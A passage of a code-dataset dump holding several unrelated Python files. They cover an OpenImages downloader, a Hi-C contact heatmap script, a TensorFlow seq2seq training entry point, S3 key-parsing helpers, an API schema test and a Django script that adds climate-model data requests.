os\nfrom tqdm import tqdm\nimport pandas as pd\nimport urllib.request\nfrom func_timeout import func_set_timeout\nimport time\nimport datetime\nimport func_timeout\n# import config\npicture = [\"jpg\",\"JPEG\",\"PNG\",\"png\"]\n\ndef setup_logger(log_file_path: str = None):\n import logging\n from colorlog import ColoredFormatter\n logging.basicConfig(filename=log_file_path, format='%(asctime)s %(levelname)-8s %(filename)s: %(message)s',\n # 定义输出log的格式\n datefmt='%Y-%m-%d %H:%M:%S', )\n \"\"\"Return a logger with a default ColoredFormatter.\"\"\"\n formatter = ColoredFormatter(\"%(asctime)s %(log_color)s%(levelname)-8s %(reset)s %(filename)s: %(message)s\",\n datefmt='%Y-%m-%d %H:%M:%S',\n reset=True,\n log_colors={\n 'DEBUG': 'blue',\n 'INFO': 'green',\n 'WARNING': 'yellow',\n 'ERROR': 'red',\n 'CRITICAL': 'red',\n })\n\n logger = logging.getLogger('project')\n handler = logging.StreamHandler()\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n logger.setLevel(logging.DEBUG)\n logger.info('logger init finished')\n return logger\n\nclass open_image_dataset:\n def __init__(self):\n self.test_annotations_human = '/data/glusterfs_cv_04/public_data/imagenet/OpenImage/Human-verified_labels/test-annotations-human-imagelabels.csv'\n self.validation_annotations = '/data/glusterfs_cv_04/public_data/imagenet/OpenImage/Human-verified_labels/validation-annotations-human-imagelabels.csv'\n self.train_annotations = \"/data/glusterfs_cv_04/public_data/imagenet/OpenImage/Human-verified_labels/oidv6-train-annotations-human-imagelabels.csv\"\n\n self.Trainable = '/data/glusterfs_cv_04/public_data/imagenet/OpenImage/9600.csv'\n\n self.label_to_path = '/data/glusterfs_cv_04/public_data/imagenet/OpenImage/Image_IDs/oidv6-train-images-with-labels-with-rotation.csv'\n self.train_label_to_path_list = pd.read_csv(self.label_to_path)\n\n self.label_to_path_val = '/data/glusterfs_cv_04/public_data/imagenet/OpenImage/Image_IDs/validation-images-with-rotation.csv'\n self.val_label_to_path_list = pd.read_csv(self.label_to_path_val)\n\n self.path = \"/data/glusterfs_cv_04/public_data/imagenet/OpenImage\"\n\n self.class_descriptions = \"/data/glusterfs_cv_04/public_data/imagenet/OpenImage/oidv6-class-descriptions.csv\"\n self.class_descriptions_list = pd.read_csv(self.class_descriptions)\n\n def find_right_class(self):\n test_image_label = pd.read_csv(self.test_annotations_human)\n test_class_list = test_image_label[\"LabelName\"].unique()\n\n val_image_label = pd.read_csv(self.validation_annotations)\n val_class_list = val_image_label[\"LabelName\"].unique()\n\n train_image_label = pd.read_csv(self.train_annotations)\n train_class_list = train_image_label[\"LabelName\"].unique()\n\n Trainable_label = pd.read_csv(self.Trainable)\n Trainable_class_list = Trainable_label[\"/m/01g317\"].unique()\n\n final_class_list = list(\n set(test_class_list).intersection(val_class_list, train_class_list, Trainable_class_list))\n return final_class_list, train_image_label, val_image_label, test_image_label\n\n @func_set_timeout(50)\n def get_train_url(self,one_image_id,class_path):\n one_path = list(self.train_label_to_path_list[self.train_label_to_path_list[\"ImageID\"] == one_image_id][\n \"Thumbnail300KURL\"])[0]\n\n try:\n file_suffix = one_path.split('/')[-1]\n if file_suffix.split(\".\")[-1] not in picture:\n logger.info(\"invalid image url:\"+one_path)\n return 0\n except:\n logger.info(\"invalid image url:\"+str(one_path))\n return 0\n\n\n filename = class_path + \"/\" + file_suffix\n try:\n urllib.request.urlretrieve(one_path, filename=filename)\n except:\n logger.info(\"invalid image url:\"+one_path)\n return 0\n return 0\n\n @func_set_timeout(50)\n def get_val_url(self, one_image_id, class_path):\n one_path = list(self.val_label_to_path_list[self.val_label_to_path_list[\"ImageID\"] == one_image_id][\n \"Thumbnail300KURL\"])[0]\n\n try:\n file_suffix = one_path.split('/')[-1]\n if file_suffix.split(\".\")[-1] not in picture:\n logger.info(\"invalid image url:\" + one_path)\n return 0\n except:\n logger.info(\"invalid image url:\" + str(one_path))\n return 0\n\n filename = class_path + \"/\" + file_suffix\n try:\n urllib.request.urlretrieve(one_path, filename=filename)\n except:\n logger.info(\"invalid image url:\" + one_path)\n return 0\n return 0\n\n def download_url(self,class_path,one_class_list):\n\n for i,(one_image_id) in tqdm(enumerate(one_class_list)):\n logger.info(\" download picture\"+one_image_id)\n try:\n self.get_train_url(one_image_id,class_path)\n except func_timeout.exceptions.FunctionTimedOut:\n logger.info('Timed out!')\n continue\n\n if i > 600:\n break\n\n def download_url_val(self,class_path,one_class_list):\n\n for i,(one_image_id) in tqdm(enumerate(one_class_list)):\n logger.info(\" download picture\"+one_image_id)\n try:\n self.get_val_url(one_image_id,class_path)\n except func_timeout.exceptions.FunctionTimedOut:\n logger.info('Timed out!')\n continue\n\n if i > 50:\n break\n\n def download_train_image(self):\n class_list, train_image_label, val_image_label, test_image_label = self.find_right_class()\n logger.info(\"-------------------start download train data------------------\")\n logger.info(\" class number: {:.1f}\".format(len(class_list)))\n for class_one in class_list:\n DisplayName = \\\n list(self.class_descriptions_list[self.class_descriptions_list[\"LabelName\"] == class_one][\"DisplayName\"])[0]\n logger.info(\"-------------------start download new class------------------\")\n logger.info(\" LabelName: \"+class_one+\" DisplayName:\"+DisplayName)\n\n same_class = train_image_label[train_image_label[\"LabelName\"] == class_one]\n confidence = same_class[same_class[\"Source\"] == \"verification\"]\n one_class_list_clean = list(confidence[confidence[\"Confidence\"] == 1][\"ImageID\"])\n one_class_list_noise = list(confidence[confidence[\"Confidence\"] == 0][\"ImageID\"])\n if len(one_class_list_clean)>2000:\n logger.info(\" warning: invalid class\")\n continue\n\n logger.info(\" all sample number : {:.1f}\".format(len(confidence[\"ImageID\"])))\n logger.info(\" Clean sample number : {:.1f}\".format(len(one_class_list_clean))+\" Noise sample number: {:.1f}\".format(len(one_class_list_noise)))\n\n # one_class_list = list(train_image_label[train_image_label[\"LabelName\"] == class_one][\"ImageID\"])\n logger.info(\"-------------------start download clean dataset------------------\")\n class_path = os.path.join(self.path, \"train\",\"clean\", class_one.split(\"/\")[-1])\n if not os.path.exists(class_path):\n os.makedirs(class_path)\n else:\n continue\n self.download_url(class_path,one_class_list_clean)\n\n logger.info(\"-------------------start download noise dataset------------------\")\n class_path = os.path.join(self.path, \"train\",\"noise\", class_one.split(\"/\")[-1])\n if not os.path.exists(class_path):\n os.makedirs(class_path)\n else:\n continue\n self.download_url(class_path, one_class_list_noise)\n\n def download_val_image(self):\n class_list, train_image_label, val_image_label, test_image_label = self.find_right_class()\n logger.info(\"-------------------start download val data------------------\")\n logger.info(\" class number: {:.1f}\".format(len(class_list)))\n\n class_path = os.path.join(self.path, \"train\", \"clean\")\n train_class_list = os.listdir(class_path)\n for class_one in class_list:\n\n if class_one.split(\"/\")[-1] not in train_class_list:\n continue\n\n DisplayName = \\\n list(self.class_descriptions_list[self.class_descriptions_list[\"LabelName\"] == class_one][\"DisplayName\"])[0]\n logger.info(\"-------------------start download new class------------------\")\n logger.info(\" LabelName: \"+class_one+\" DisplayName:\"+DisplayName)\n\n same_class = val_image_label[val_image_label[\"LabelName\"] == class_one]\n confidence = same_class[same_class[\"Source\"] == \"verification\"]\n one_class_list_clean = list(confidence[confidence[\"Confidence\"] == 1][\"ImageID\"])\n\n logger.info(\" all sample number : {:.1f}\".format(len(confidence[\"ImageID\"])))\n logger.info(\" Clean sample number : {:.1f}\".format(len(one_class_list_clean)))\n\n logger.info(\"-------------------start download dataset------------------\")\n class_path = os.path.join(self.path, \"val\", class_one.split(\"/\")[-1])\n if not os.path.exists(class_path):\n os.makedirs(class_path)\n else:\n continue\n self.download_url_val(class_path,one_class_list_clean)\n\n\n\nlogger = setup_logger(os.path.join(\"/data/glusterfs_cv_04/11121171/AAAI_NL/Baseline_classification/classification_open_image/datasets\", 'train_val_log'))\ndataset=open_image_dataset()\ndataset.download_val_image()\n\n","sub_path":"datasets/download_openimage_eval.py","file_name":"download_openimage_eval.py","file_ext":"py","file_size_in_byte":10234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"72935370","text":"from new_data_prep import remove_cols, ids_columns, prep_data, load_train, load_test, find_statistics\n\nprep_data()\nX = load_train()\nprint(len(X.columns))\n#remove_cols(ids_columns, 'no_ids.csv'\n\n# train_df = load_train()\n# test_df = load_test()\n# tr, test = find_statistics('district_id', train_df, test_df)\n\n\nfor nn in X.columns:\n z = X[nn]\n print(f'{nn}: max = {z.max()} min = {z.min()} uniq = {len(z.unique())}')","sub_path":"new_ufek.py","file_name":"new_ufek.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"548331021","text":"import cooler\r\nimport sys\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\n\r\n\r\nclr = cooler.Cooler(sys.argv[1])\r\n# clr = cooler.Cooler('XXtrans.cool')\r\nchrom_sizes_bins=(clr.chromsizes // clr.binsize).tolist()\r\nchrom_size_matrix = [ [0]*24 for i in range(24) ]\r\nfor i in range(24):\r\n for j in range(24):\r\n chrom_size_matrix[i][j] = chrom_sizes_bins[i]*chrom_sizes_bins[j]\r\ndf_chrom_size_matrix = pd.DataFrame(data=chrom_size_matrix)\r\nmtx = clr.matrix(balance=True, as_pixels=True, join=True)\r\nmtx = pd.DataFrame(data=clr.matrix(balance=True, as_pixels=True, join=True)[:,:])\r\nmtx['balanced'] = mtx['balanced'].fillna(value=0)\r\nmtx = mtx.drop(columns=['start1','end1','start2','end2','count'])\r\ntrans_contacts = mtx[mtx['chrom1'] != mtx['chrom2']]\r\nsum = trans_contacts.groupby(by=['chrom1','chrom2']).sum()\r\nsum.to_csv(sys.argv[1] + '.csv')\r\nsum = pd.read_csv(sys.argv[1] + '.csv')\r\n# sum = pd.read_csv('XXtrans.cool' + '.csv')\r\nnew_indexes=['chr1','chr2', 'chr3', 'chr4', 'chr5','chr6','chr7','chr8','chr9','chr10','chr11','chr12','chr13','chr14',\r\n'chr15','chr16','chr17','chr18','chr19','chr20','chr21','chr22','chrX','chrY']\r\nsum = sum.pivot(index='chrom1',columns='chrom2')\r\nsum.columns= sum.index\r\nsum = sum.where(sum!=0, sum.T)\r\nsum = sum.reindex(index=new_indexes,columns=new_indexes)\r\nsum = pd.DataFrame(sum.values/df_chrom_size_matrix.values, columns=new_indexes, index=new_indexes)\r\nsum.to_csv(sys.argv[1] + '.csv')\r\nplt.cla()\r\nfig = sns.heatmap(data=sum,cmap='Reds')\r\nfig.figure.savefig(sys.argv[1] + '.png')\r\n","sub_path":"get_sparce.py","file_name":"get_sparce.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"568752405","text":"#! /usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\n @Author: ShiLou\n @Time: 上午10:20\n @Description: \n\"\"\"\nfrom __future__ import print_function, division\nimport tensorflow as tf\nimport ConfigParser\nimport numpy as np\nfrom src.conv2seq_model import Conv2Model\nfrom src.seq2seq_model import Seq2SeqModel\nfrom src.data_helper import DataHelper\n# from src.units import Units\n# from pyrouge import Rouge155\n# from src.ROUGE import PythonROUGE\nimport os\nimport time\n\n\n# units = Units()\n\ndef build_flag():\n config = ConfigParser.ConfigParser()\n config.read('config.ini')\n tf.flags.DEFINE_integer('batch_size', config.get('MODEL', 'batch_size'), 'size of one batch')\n tf.flags.DEFINE_integer('max_box_len', config.get('MODEL', 'max_box_len'), 'maximum length of fields and values')\n tf.flags.DEFINE_integer('max_sum_len', config.get('MODEL', 'max_sum_len'), 'maximum length of summaries')\n tf.flags.DEFINE_integer('hidden_size', config.get('MODEL', 'hidden_size'), 'size of hidden layer')\n tf.flags.DEFINE_string('filter_sizes', config.get('MODEL', 'filter_sizes'), 'size of convolution kernels')\n tf.flags.DEFINE_integer('filter_nums', config.get('MODEL', 'filter_nums'), 'convolution kernel number')\n tf.flags.DEFINE_float('lr', config.get('MODEL', 'learning_rate'), 'learning rate')\n tf.flags.DEFINE_float('clip_grads', config.get('MODEL', 'clip_grads'), 'gradient clip coefficient')\n tf.flags.DEFINE_integer('epoch_nums', config.get('MODEL', 'epoch_nums'), 'numbers of epoch')\n tf.flags.DEFINE_integer('batch_print', config.get('MODEL', 'batch_print'), 'print per X batch.')\n tf.flags.DEFINE_integer('vocab_size', config.get('EMBEDDING', 'vocab_size'), 'vocabulary size')\n tf.flags.DEFINE_integer('vocab_ex', config.get('EMBEDDING', 'vocab_ex'), 'size of vocabulary with content words.')\n tf.flags.DEFINE_integer('vocab_dim', config.get('EMBEDDING', 'vocab_dim'), 'vocab embedding dimension')\n tf.flags.DEFINE_integer('field_size', config.get('EMBEDDING', 'field_size'), 'field table size')\n tf.flags.DEFINE_integer('field_dim', config.get('EMBEDDING', 'field_dim'), 'field embedding dimension')\n tf.flags.DEFINE_string('checkpointDir', 'model/model', 'checkpoint path')\n tf.flags.DEFINE_boolean('field', config.getboolean('EMBEDDING', 'field'), 'whether to use field embedding or not')\n tf.flags.DEFINE_string('mode', config.get('MODEL', 'mode'), 'train, predict, test or debug mode with little data.')\n tf.flags.DEFINE_integer('att_size', config.getint('MODEL', 'att_size'), 'hidden size of attention layer.')\n tf.flags.DEFINE_integer('epoch_dev', config.getint('MODEL', 'epoch_dev'), 'epoch numbers of development.')\n tf.flags.DEFINE_integer('seed', config.getint('MODEL', 'seed'), 'random seed, set 0 to do not use.')\n tf.flags.DEFINE_integer('pad', 0, 'id of \"\" in the vocabulary, DO NOT MODIFY!')\n tf.flags.DEFINE_integer('cnn', config.getboolean('MODEL', 'cnn'), 'Use cnn_state as extra decoder input.')\n tf.flags.DEFINE_float('dropout', config.getfloat('MODEL', 'dropout'), 'CNN dropout rate.')\n tf.flags.DEFINE_boolean('attention', config.getboolean('MODEL', 'attention'), 'If use attention, set it be True.')\n tf.flags.DEFINE_string('tables', None, 'ODPS tables.')\n return tf.flags.FLAGS\n\n\nFLAGS = build_flag()\n\n\n# def evaluate():\n# r = Rouge155()\n# # set directories\n# r.system_dir = 'to_evaluate/hypothesis/'\n# r.model_dir = 'to_evaluate/reference/'\n#\n# # define the patterns\n# r.system_filename_pattern = 'hypothesis_test_(\\d+).txt'\n# r.model_filename_pattern = 'reference_test_#ID#.txt'\n#\n# # use default parameters to run the evaluation\n# output = r.convert_and_evaluate()\n# print(output)\n# output_dict = r.output_to_dict(output)\n# print(output_dict['rouge_4_f_score'])\n\n\ndef debug():\n model = Seq2SeqModel(FLAGS)\n if FLAGS.cnn:\n cnn_max_len = FLAGS.max_box_len\n else:\n cnn_max_len = None\n dh = DataHelper(FLAGS.vocab_size, FLAGS.vocab_ex, FLAGS.field_size,\n mode=FLAGS.mode, cnn_max_len=cnn_max_len,\n tables=FLAGS.tables)\n dh.create_batch(batch_size=FLAGS.batch_size,\n max_box_len=FLAGS.max_box_len,\n max_sum_len=FLAGS.max_sum_len)\n\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n\n # remove old tensorboard log.\n # all_files = os.listdir('model_log')\n # for f in all_files:\n # if f.startswith('events.out.tfevents.'):\n # os.remove(os.path.join(os.path.abspath('model_log'), f))\n\n with tf.Session(config=config) as sess:\n # writer = tf.summary.FileWriter('model_log/', sess.graph)\n sess.run(tf.global_variables_initializer())\n saver = tf.train.Saver()\n\n vars = tf.all_variables()\n print(\"all trainable variables: \")\n for v in vars:\n print(v)\n\n for epoch in range(FLAGS.epoch_nums):\n sess.graph.finalize()\n print('===========================epoch %d===========================' % epoch)\n batch_loss = 0\n for i in range(dh.batch_num):\n batch = dh.next_batch()\n oov_dic_rev = batch['oov_dic_rev']\n # batch_loss += model.summary(sess, batch, i, writer)\n batch_loss += model.train(sess, batch)\n\n if i == 0:\n print('===========================print===========================')\n g = model.generate(sess, batch)\n content_to_word = []\n for x in batch['content_in'][0]:\n if x in oov_dic_rev and oov_dic_rev[x] == '':\n break\n elif x in oov_dic_rev:\n content_to_word.append(oov_dic_rev[x])\n else:\n content_to_word.append(oov_dic_rev[''])\n\n content_in = reduce(lambda x, y: x + ' ' + y, content_to_word)\n\n syn_to_word = map(lambda x: oov_dic_rev[x] if x in oov_dic_rev else oov_dic_rev[''],\n g[0])\n syn = reduce(lambda x, y: x + ' ' + y, syn_to_word)\n ref = batch['summary'][0]\n print('Content in:\\n%s\\nRef:\\n%s\\nSyn:\\n%s\\n'\n % (content_in, ref, syn))\n oov_words = [oov_dic_rev[x]\n for x in g[0]\n if x >= FLAGS.vocab_size and x < FLAGS.vocab_ex]\n print('OOV words: %s ' % oov_words)\n\n if i > 0 and i % FLAGS.batch_print == 0:\n print('%s\\t[epoch-%d batch-%d]\\tloss: %.4f'\n % (time.strftime('%m.%d %H:%M:%S', time.localtime()),\n epoch, i, batch_loss / FLAGS.batch_print))\n batch_loss = 0\n\n saver.save(sess, FLAGS.checkpointDir)\n print('saved.')\n\n\nif __name__ == '__main__':\n if FLAGS.mode.lower() == 'debug':\n debug()\n elif FLAGS.mode.lower() == 'train':\n train_model()\n elif FLAGS.mode.lower() == 'test':\n evaluate()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"580258759","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport neural_network_from_scratch as nnfs\n\niter = 100\nX = np.array([[0, 0, 1],\n [0, 1, 1],\n [1, 0, 1],\n [1, 1, 1]])\ny = np.array([[1], [.5], [1], [.8]])\nnn = nnfs.NeuralNetwork(X, y)\nLoss = np.zeros((iter))\nfor i in range(iter):\n nn.feedforward()\n nn.backprop()\n Loss[i] = abs(nn.output[0] - nn.y[0])\n\nyp = np.round(nn.output, 4)\nxyyp = np.concatenate((X, y, yp), axis=1)\ncolumns = ('X1', 'X2', 'X3', 'Y', 'Yp')\nxy = np.concatenate((X, y, yp), axis=1)\nfig, (ax1, ax2) = plt.subplots(nrows=2, figsize=(6, 5.4))\ntprw = [\"#0000ff\", \"#0000ff\", \"#0000ff\", \"#009933\"]\ndrw = [\"#6699ff\", \"#6699ff\", \"#6699ff\", \"#66ff33\", \"#66ff33\"]\nlrw = [\"#6699ff\", \"#6699ff\", \"#6699ff\", \"#99ff66\", \"#99ff66\"]\ncolors = [lrw, drw, lrw, drw]\n\nthe_table = ax1.table(cellText=xy, cellColours=colors,\n colLabels=columns, loc='center')\nthe_table.set_fontsize(16)\nthe_table.scale(1, 2)\nax2.plot(Loss)\nax2.set_title('Loss after '+str(iter)+' iterations')\nplt.tight_layout()\nplt.savefig(str(iter)+'iter_complex.png')\n","sub_path":"ToyNeuralNetwork/PlaywithNN_complex.py","file_name":"PlaywithNN_complex.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"450756501","text":"from typing import List, Tuple\n\nfrom app.models.public import AboutAllModel\n\ndef get_specific_keys_from_content_list(content_list, **kwargs) -> List:\n '''\n Accept raw list of content\n Return list with only speficic keys\n \n Available keys:\n 'Key'\n 'LastModified'\n 'ETag'\n 'Size'\n 'StorageClass'\n '''\n\n object_data = {}\n parsed = []\n for content in content_list:\n for key, value in kwargs.items():\n if value == True:\n object_data[key] = content[key]\n parsed.append(object_data)\n object_data = {}\n \n return parsed\n\n\ndef get_names_from_keys(content_list) -> List:\n '''\n Accepts\n List of Dicts:\n [{\n Key: \"some/key/here/image.jpg\"\n }]\n\n Returns:\n Dict:\n {\n \"some/key/here/image.jpg\" : \"image.jpg\"\n }\n '''\n\n parsed = {}\n for content in content_list:\n name = content['Key'].split('/')[-1]\n if '.' in name:\n parsed[content['Key']] = name\n\n return parsed\n\ndef get_order_from_keys(content_list) -> Tuple:\n '''\n Accepts\n List of Dicts:\n [{\n Key: \"some/key/here/0001.jpg\"\n }]\n\n Returns:\n Tuple(\n Dict:\n {\n \"some/key/here/0001.jpg\" : 1\n }\n List:\n Dict: \n {\n 'Key': \"some/key/here/image.jpg\"\n }\n )\n '''\n\n parsed = {}\n delete = {}\n for_deletion = []\n for content in content_list:\n name = content['Key'].split('/')[-1]\n if '.' in name:\n try:\n parsed[content['Key']] = int(name.split('.')[0])\n except:\n delete['Key'] = content['Key'] \n for_deletion.append(delete)\n delete = {}\n\n return (parsed, for_deletion)\n\ndef filter_prefix(prefix, content_list, exclude_root=True) -> List:\n '''\n Filters list of elements by prefix\n\n :params:\n prefix - prefix to filter by\n content_list - list to filter\n exclude_root: True - exclude root directory\n\n Returns list of Dict:\n [\n {\n 'Key' : 'object_key_in_cdn'\n }\n ]\n '''\n filtered = []\n prefix = prefix if prefix[-1] == '/' else prefix + '/'\n for content in content_list:\n if prefix in content['Key']:\n if not exclude_root:\n filtered.append(content)\n elif prefix != content['Key']:\n filtered.append(content)\n\n return filtered\n\n\ndef list_root_directory_files(prefix, content_list, exclude_root=True, exclude_files=[]) -> List:\n '''\n Return only files from directory\n\n :params:\n prefix - directory prefix to filter\n content_list - list to filter\n exclude_root: True - exclude directory itself\n exclude_files: List of filed to be excluded by key\n Returns list of Dict:\n [\n {\n 'Key' : 'object_key_in_cdn'\n }\n ]\n '''\n filtered = []\n prefix = prefix if prefix[-1] == '/' else prefix + '/'\n \n for content in content_list:\n if prefix in content['Key'] and prefix != content['Key']:\n if '/' not in content['Key'].split(prefix)[1]:\n if content['Key'] not in exclude_files:\n filtered.append(content)\n elif not exclude_files:\n filtered.append(content)\n\n if not exclude_root:\n filtered.append({\"Key\": prefix})\n\n return filtered\n\n\ndef check_key_exists_in_list_of_objects(key, list_of_objects) -> bool:\n\n for object_key in list_of_objects:\n if key == object_key['Key']:\n return True\n\n print(f\"Didn't find key {key} in \\n {list_of_objects}\") \n return False\n\ndef get_prefix_by_inner_key(key: str) -> str:\n\n sufix = key.split(\"/\")[-1]\n \n return key.replace(sufix, '')\n\ndef about_keys_from_list_of_objects(list_: List[AboutAllModel]):\n list_of_keys = [{\"Key\": about_object.background_key} for about_object in list_]\n\n return list_of_keys\n","sub_path":"backend/server/app/cloud/parsers.py","file_name":"parsers.py","file_ext":"py","file_size_in_byte":4506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"509364064","text":"from api.mms.mms_ import Mms\n\n\nclass AgreeRefundV2(Mms):\n method = 'post'\n api = '/api/aftersale/agreeRefundV2'\n data = {\n \"order_id\": \"1631439211248795650\",\n \"refund_desc\": \"\"\n }\n\n error_resp = {\n 'code': 400000,\n 'message': '没有可以购买的商品'\n }\n\n expected_schema = {\n \"$schema\": \"http://json-schema.org/draft-06/schema\",\n \"type\": \"object\",\n \"title\": \"The root schema\",\n \"required\": [\n \"code\",\n \"payload\"\n ],\n \"properties\": {\n \"code\": {\n \"type\": \"integer\",\n \"title\": \"The code schema\"\n },\n \"payload\": {\n \"type\": \"object\",\n \"title\": \"The payload schema\",\n \"required\": [\n \"order_id\",\n \"refund_status\"\n ],\n \"properties\": {\n \"order_id\": {\n \"type\": \"string\",\n \"title\": \"The order_id schema\"\n },\n \"refund_status\": {\n \"type\": \"integer\",\n \"title\": \"The refund_status schema\"\n }\n }\n }\n }\n }\n","sub_path":"banshee-master/api/mms/refund/agree_refund.py","file_name":"agree_refund.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"154377414","text":"#!/usr/bin/env python\n\"\"\"\nupdate_dreqs_0103.py\n\nThis file adds all existing ECMWF data requests to the following:\nECMWF-IFS-MR hist-1950 r2i1p1f1\nECMWF-IFS-MR hist-1950 r3i1p1f1\n\nECMWF-IFS-HR hist-1950 r5i1p1f1\nECMWF-IFS-HR hist-1950 r6i1p1f1\n\nECMWF-IFS-HR highresSST-present r2i1p1f1\nECMWF-IFS-HR highresSST-present r3i1p1f1\nECMWF-IFS-HR highresSST-present r4i1p1f1\nECMWF-IFS-HR highresSST-present r5i1p1f1\nECMWF-IFS-HR highresSST-present r6i1p1f1\n\nECMWF-IFS-LR hist-1950 r2i1p1f1\nECMWF-IFS-LR hist-1950 r3i1p1f1\nECMWF-IFS-LR hist-1950 r4i1p1f1\nECMWF-IFS-LR hist-1950 r5i1p1f1\nECMWF-IFS-LR hist-1950 r6i1p1f1\nECMWF-IFS-LR hist-1950 r7i1p1f1\nECMWF-IFS-LR hist-1950 r8i1p1f1\n\nECMWF-IFS-LR highresSST-present r2i1p1f1\nECMWF-IFS-LR highresSST-present r3i1p1f1\nECMWF-IFS-LR highresSST-present r4i1p1f1\nECMWF-IFS-LR highresSST-present r5i1p1f1\nECMWF-IFS-LR highresSST-present r6i1p1f1\nECMWF-IFS-LR highresSST-present r7i1p1f1\nECMWF-IFS-LR highresSST-present r8i1p1f1\n\"\"\"\nimport argparse\nimport logging.config\nimport os\nimport sys\n\nfrom cf_units import date2num, CALENDAR_GREGORIAN\n\nimport django\ndjango.setup()\nfrom pdata_app.models import ClimateModel, DataRequest, Experiment\nfrom pdata_app.utils.common import delete_drs_dir\n\n__version__ = '0.1.0b1'\n\nDEFAULT_LOG_LEVEL = logging.WARNING\nDEFAULT_LOG_FORMAT = '%(levelname)s: %(message)s'\n\nlogger = logging.getLogger(__name__)\n\n\ndef delete_files(query_set):\n \"\"\"\n Delete any files online from the specified queryset\n \"\"\"\n directories_found = []\n for df in query_set:\n if df.online:\n try:\n os.remove(os.path.join(df.directory, df.name))\n except OSError as exc:\n logger.error(str(exc))\n sys.exit(1)\n else:\n if df.directory not in directories_found:\n directories_found.append(df.directory)\n df.online = False\n df.directory = None\n df.save()\n\n for directory in directories_found:\n if not os.listdir(directory):\n delete_drs_dir(directory)\n logger.debug('{} directories removed'.format(len(directories_found)))\n\n\ndef parse_args():\n \"\"\"\n Parse command-line arguments\n \"\"\"\n parser = argparse.ArgumentParser(description='Add additional data requests')\n parser.add_argument('-l', '--log-level', help='set logging level to one of '\n 'debug, info, warn (the default), or error')\n parser.add_argument('--version', action='version',\n version='%(prog)s {}'.format(__version__))\n args = parser.parse_args()\n\n return args\n\n\ndef main(args):\n \"\"\"\n Main entry point\n \"\"\"\n # MR hist-1950\n for var_lab in ['r{}i1p1f1'.format(i) for i in range(2, 4)]:\n data_reqs = DataRequest.objects.filter(\n climate_model__short_name='ECMWF-IFS-MR',\n experiment__short_name='hist-1950',\n rip_code='r1i1p1f1'\n )\n num_created = 0\n for data_req in data_reqs:\n data_req.id = None\n data_req.rip_code = var_lab\n data_req.save()\n num_created += 1\n logger.debug('{} MR hist-1950 {} data requests created.'.\n format(num_created, var_lab))\n\n # HR hist-1950\n for var_lab in ['r{}i1p1f1'.format(i) for i in range(5, 7)]:\n data_reqs = DataRequest.objects.filter(\n climate_model__short_name='ECMWF-IFS-HR',\n experiment__short_name='hist-1950',\n rip_code='r1i1p1f1'\n )\n num_created = 0\n for data_req in data_reqs:\n data_req.id = None\n data_req.rip_code = var_lab\n data_req.save()\n num_created += 1\n logger.debug('{} HR hist-1950 {} data requests created.'.\n format(num_created, var_lab))\n\n # HR highresSST-present\n for var_lab in ['r{}i1p1f1'.format(i) for i in range(2, 7)]:\n data_reqs = DataRequest.objects.filter(\n climate_model__short_name='ECMWF-IFS-HR',\n experiment__short_name='highresSST-present',\n rip_code='r1i1p1f1'\n )\n num_created = 0\n for data_req in data_reqs:\n data_req.id = None\n data_req.rip_code = var_lab\n data_req.save()\n num_created += 1\n logger.debug('{} HR highresSST-present {} data requests created.'.\n format(num_created, var_lab))\n\n # LR hist-1950\n for var_lab in ['r{}i1p1f1'.format(i) for i in range(2, 9)]:\n data_reqs = DataRequest.objects.filter(\n climate_model__short_name='ECMWF-IFS-LR',\n experiment__short_name='hist-1950',\n rip_code='r1i1p1f1'\n )\n num_created = 0\n for data_req in data_reqs:\n data_req.id = None\n data_req.rip_code = var_lab\n data_req.save()\n num_created += 1\n logger.debug('{} LR hist-1950 {} data requests created.'.\n format(num_created, var_lab))\n\n # LR highresSST-present\n for var_lab in ['r{}i1p1f1'.format(i) for i in range(2, 9)]:\n data_reqs = DataRequest.objects.filter(\n climate_model__short_name='ECMWF-IFS-LR',\n experiment__short_name='highresSST-present',\n rip_code='r1i1p1f1'\n )\n num_created = 0\n for data_req in data_reqs:\n data_req.id = None\n data_req.rip_code = var_lab\n data_req.save()\n num_created += 1\n logger.debug('{} LR highresSST-present {} data requests created.'.\n format(num_created, var_lab))\n\n\nif __name__ == \"__main__\":\n cmd_args = parse_args()\n\n # determine the log level\n if cmd_args.log_level:\n try:\n log_level = getattr(logging, cmd_args.log_level.upper())\n except AttributeError:\n logger.setLevel(logging.WARNING)\n logger.error('log-level must be one of: debug, info, warn or error')\n sys.exit(1)\n else:\n log_level = DEFAULT_LOG_LEVEL\n\n # configure the logger\n logging.config.dictConfig({\n 'version': 1,\n 'disable_existing_loggers': False,\n 'formatters': {\n 'standard': {\n 'format': DEFAULT_LOG_FORMAT,\n },\n },\n 'handlers': {\n 'default': {\n 'level': log_level,\n 'class': 'logging.StreamHandler',\n 'formatter': 'standard'\n },\n },\n 'loggers': {\n '': {\n 'handlers': ['default'],\n 'level': log_level,\n 'propagate': True\n }\n }\n })\n\n # run the code\n main(cmd_args)\n","sub_path":"scripts/update_dreqs/update_dreqs_0103.py","file_name":"update_dreqs_0103.py","file_ext":"py","file_size_in_byte":6685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"311159179","text":"#Gregorian calendar, the years 2000 and 2400 are leap years,\n#while 1800, 1900, 2100, 2200, 2300 and 2500 are NOT leap years.\n\n\ndef leap_year():\n year = int(input(\"Enter year to check if is a leap year or enter 0 to quit: \"))\n while year != 